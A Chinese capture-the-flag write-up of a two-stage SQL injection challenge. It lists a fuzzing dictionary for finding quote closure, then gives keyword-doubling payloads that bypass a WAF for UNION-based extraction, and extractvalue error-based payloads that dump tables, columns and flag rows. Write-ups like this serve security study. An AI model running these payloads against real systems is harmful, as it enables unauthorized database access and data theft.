开卷看题
/%E5%A4%9A%E6%AC%A1/1.png)
提示有两个flag
/%E5%A4%9A%E6%AC%A1/2.png)
感觉像经典的SQL注入
开始注入
鉴于本题逼近末尾,且分值比较高,绝对会有WAF,所以手工测试很难受,上fuzz
前期准备
手工测试一下,发现页面只有正确结果和Error两种情况,且数值固定
明确常见的WAF(CTF专用版)的过滤机制
- 过滤敏感字符:单双引号、括号等等
- 过滤关键词:AND、OR、UNION、SELECT等
- 很少用正则匹配恶意数据
基于此,给出一个简单的测试字典,主要测试过滤关键字词以及是否大小写敏感
1– -
1’– -
1”– -
1’)– -
1”)– -
1 AND 1– -
1 AnD 1– -
1 AandND 1– -
1’ AND 1– -
1’ AnD 1– -
1’ AandND 1– -
1” AND 1– -
1” AnD 1– -
1” AandND 1– -
1’) AND 1– -
1’) AnD 1– -
1’) AandND 1– -
1”) AND 1– -
1”) AnD 1– -
1”) AandND 1 – -
开始测试
BP启动,intruder走起
/%E5%A4%9A%E6%AC%A1/3.png)
/%E5%A4%9A%E6%AC%A1/4.png)
/%E5%A4%9A%E6%AC%A1/5.png)
/%E5%A4%9A%E6%AC%A1/6.png)
分析结果
仔细分析返回结果可以发现
- 发生错误的页面payload中均包含单引号
- WAF从参数中剔除了关键词(对比9、10、11行)
基于分析结果,再次测试闭合方式是否为单引号
payload:
- 0’OorR’1
- 1’AandND’0
- 1’AandND’1
可以确定闭合方式是单引号,同时确定了没有返回结果时会报Error
顺带测试一下需要用到的关键词:UNION SELECT WHERE
顺风顺水
既然信息已经探测的足够多了,接下来就是正常的注入过程了
探测字段及回显位置
payload:0’ UunionNION SselectELECT 1,2– -
/%E5%A4%9A%E6%AC%A1/7.png)
确定第二列回显
探测当前数据库中的所有表
payload:0’ UNunionION SEselectLECT 1,group_concat(table_name) from infOorRmation_schema.tables where table_schema=database()– -
/%E5%A4%9A%E6%AC%A1/8.png)
flag1表相当可疑
探测flag1表中所有的字段
payload:0’ UNunionION SEselectLECT 1,group_concat(column_name) from infOorRmation_schema.columns where table_schema=database() ANandD table_name=’flag1’– -
/%E5%A4%9A%E6%AC%A1/9.png)
获取flag1表中所有的行
payload:0’ UNunionION SEselectLECT 1,group_concat(flag1,0x2d,address) from flag1;– -
/%E5%A4%9A%E6%AC%A1/10.png)
前面看着像base64,果断解码(别忘了排除连接符 - ),结果如下
flag1:好吧你会SQL注入
address:./Once_More.php
给出了另一个地址。
再次征战
访问Once_More.php
/%E5%A4%9A%E6%AC%A1/11.png)
不得不说,场面极度嚣张,既然提示了ID是1,尝试提交id参数
经过测试,发现id在1-7之间返回 I am here,反之返回nobody,典型的布尔盲注
再次fuzz
还是老套路,抓包intruder一把梭
/%E5%A4%9A%E6%AC%A1/12.png)
这回有意思了,直接报错(的确是没想到)
结合payload和报错,可以知道又是单引号闭合
但是测试了一下发现UNION SELECT过滤的死死的,直接回显看来无望了
往事如烟
==,好像除了联合查询还可以用强制报错回显数据啊
果断构造经典的报错payload:1’ and extractvalue(1,concat(0x7e,database(),0x7e))– -
/%E5%A4%9A%E6%AC%A1/14.png)
YES,成功获取当前使用的数据库名称
Note:你问我为什么不用updatexml?因为updatexml有三个参数,而且第三个参数总是忘记。。。
乘风破浪
探测当前数据库中所有的表
payload:1’ and extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))– -
/%E5%A4%9A%E6%AC%A1/15.png)
探测flag2表中所有的字段
payload:1’ and extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’flag2’),0x7e))– -
/%E5%A4%9A%E6%AC%A1/16.png)
获取flag2表所有的行
payload:1’ and extractvalue(1,concat(0x7e,(SELECT group_concat(flag2,0x26,address) FROM flag2),0x7e))– -
/%E5%A4%9A%E6%AC%A1/17.png)
拿下flag,提交的时候却显示失败,此时突然想到了上次踩的坑,看了看题干,淡定的把字母都转换为小写,完美通过
个人心得
这道题出的很NICE,既锻炼纯手工注入能力,又要求对SQLI技术有较为全面的掌握,同时还可以训练一下fuzz;实战意义很大,建议多多思考练习